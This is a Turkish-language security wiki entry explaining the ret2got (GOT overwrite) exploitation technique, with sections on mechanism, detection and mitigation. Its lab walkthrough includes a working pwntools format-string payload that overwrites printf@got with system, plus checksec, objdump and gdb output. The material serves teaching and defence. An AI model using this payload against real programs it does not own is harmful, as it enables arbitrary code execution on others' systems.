ret2got¶
Bir GOT girdisini overwrite et, böylece rutin bir library call (örn.
printf) sessizce attacker-chosen bir fonksiyona (örn.system) yönlendirilir ve bir sonraki çağrı arbitrary code execution'a dönüşür.
Mechanism¶
Neden çalışır
Dinamik link'lenmiş binary'ler printf'in adresini gömmez; bunun
yerine GOT (Global Offset Table) içindeki bir pointer üzerinden
çağırırlar. PLT stub'ı *(puts@got)'a atlar ve lazy binding, ilk
kullanımda resolve edilmiş libc adresini o hücreye yazar. Kritik
olarak, Partial RELRO altında (varsayılan), .got.plt, process'in
ömrü boyunca yazılabilirdir.
Invariant: bir function call, değiştirilebilir bir pointer üzerinden
bir indirect jump'tır ve o pointer'ı kontrol eden, call target'ını
kontrol eder. Bir arbitrary-write-primitive
— bir format string, bir out-of-bounds write, bir function-pointer
table'a heap overflow — func@got'a ulaşıp onu &system ile
değiştirebilirse, programın kendi bir sonraki func(arg)'ı
system(arg) olur. Bir return address'in control-flow hijack'i
gerekmez; programı senin için hijack edilmiş fonksiyonu çağırır.
Yönlendirme yalnızca calling convention uyuştuğunda temiz bir kazanç
verir: printf(user_input)'u system(user_input) ile değiştirmek
çalışır çünkü ikisi de tek bir char* alır. Victim symbol'ü öyle seç ki
call site'taki argümanları zaten faydalı bir şeye işaret etsin (genelde
"/bin/sh"-kontrol edilebilir bir buffer).
Walkthrough¶
Yalnızca lab
Sahibi olduğun bir binary kullan. Bu, yazılabilir bir GOT (Partial RELRO ya da hiç) artı bir write primitive gerektirir — burada klasik bir format-string bug'ı.
1. GOT'un yazılabilir olduğunu doğrula ve girdileri bul:
$ checksec --file=./vuln
RELRO: Partial RELRO <- .got.plt writable
PIE: No PIE
$ objdump -R ./vuln | grep -E 'printf|system'
0804a010 R_386_JUMP_SLOT printf@GLIBC_2.0 <- target GOT slot
2. Overwrite'ı seç. printf@got'u libc system'e nişanlıyoruz. Bir
format-string write primitive ile, pwntools write'ları bizim için kurar:
from pwn import *
elf = ELF('./vuln')
libc = elf.libc
p = process('./vuln')
offset = 7 # format-string arg index of our buffer
payload = fmtstr_payload(
offset,
{elf.got['printf']: libc.sym['system']},
)
p.sendline(payload)
3. Hijack edilmiş call'ı tetikle. Program bir dahaki sefere
printf(buf) çalıştırdığında, aslında system(buf) çalıştırır:
gdb'de overwrite'ın manuel doğrulaması
(gdb) x/wx 0x804a010 # printf@got, before
0x804a010: 0x08048406 # points into PLT (lazy-bind stub)
... send format-string payload ...
(gdb) x/wx 0x804a010 # after
0x804a010: 0xf7e10360 # now == &system
(gdb) p system
$1 = {<text variable>} 0xf7e10360 <system>
printf
çağırdığını sandığı her yerde system çağırıyor.
ROP-güdümlü GOT overwrite
Write'ın bir format string olması gerekmez. Bir ROP chain,
read@plt/gets@plt çağırarak bir GOT slot'unun üzerine &system
karalayabilir, sonra execution'ı yamalanmış fonksiyonun PLT stub'ına
yönlendirebilir — "GOT overwrite ROP" varyantı. Her iki durumda da
bozulmuş hücre bir function-pointer-overwrite
çeşidinde bir got-plt-overwrite'dır.
Detection¶
- GOT normalde resolve sırasında bir kez yazılır;
.got.plt'ye resolution-sonrası bir write anomaliktir ve bir watchpoint ile gözlemlenebilir (gdb> watch *0x804a010). - Beklenen kütüphanenin dışına ya da relocation'ının adlandırdığından farklı bir symbol'e işaret eden resolve edilmiş bir GOT girdisi güçlü bir göstergedir.
Mitigation¶
- Full RELRO, tüm GOT'u
main'den önce resolve edip read-onlymprotect'ler, böylece slot hiç overwrite edilemez — standart çözüm. Tamamlayıcı NX savunması için bkz. no-execute-data-execution-prevention. - FORTIFY_SOURCE ve
%n-devre dışı bırakan hardening, özellikle format-string write primitive'ini körleştirir. - Altta yatan arbitrary-write-primitive'i kaldır (örn. format-string-write bug'ı).